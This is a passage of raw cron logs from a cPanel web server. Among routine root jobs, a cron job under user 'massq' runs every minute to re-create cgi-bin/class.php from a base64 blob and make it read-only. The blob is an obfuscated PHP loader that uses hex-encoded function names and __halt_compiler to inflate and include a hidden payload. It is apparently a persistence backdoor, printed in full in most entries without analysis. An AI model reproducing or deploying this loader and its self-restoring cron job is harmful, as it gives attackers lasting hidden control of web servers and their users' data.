SpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:05:01 server CROND[13502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:06:01 server CROND[14358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:06:01 server CROND[14359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:06:01 server CROND[14360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:07:01 server CROND[14845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:07:01 server CROND[14846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:07:01 server CROND[14847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:08:01 server CROND[15233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:08:01 server CROND[15234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:08:01 server CROND[15235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:09:01 server CROND[15622]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 09:09:01 server CROND[15623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:09:01 server CROND[15625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:09:01 server CROND[15624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:10:01 server CROND[16034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:10:01 server CROND[16038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:10:01 server CROND[16040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:10:01 server CROND[16046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:10:01 server CROND[16047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:10:01 server CROND[16043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:10:01 server CROND[16044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:10:01 server CROND[16048]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:11:01 server CROND[16895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:11:01 server CROND[16896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:11:01 server CROND[16897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:12:01 server CROND[17370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:12:01 server CROND[17371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:12:01 server CROND[17372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:12:01 server CROND[17373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:13:01 server CROND[17754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:13:01 server CROND[17755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:13:01 server CROND[17756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:14:01 server CROND[18127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:14:01 server CROND[18128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:14:01 server CROND[18129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:15:01 server CROND[18509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:15:01 server CROND[18511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 09:15:01 server CROND[18513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:15:01 server CROND[18514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:15:01 server CROND[18515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:15:01 server CROND[18518]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 09:15:01 server CROND[18517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:15:01 server CROND[18516]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 09:16:01 server CROND[19352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:16:01 server CROND[19353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:16:01 server CROND[19354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:17:01 server CROND[19824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 09:17:01 server CROND[19825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
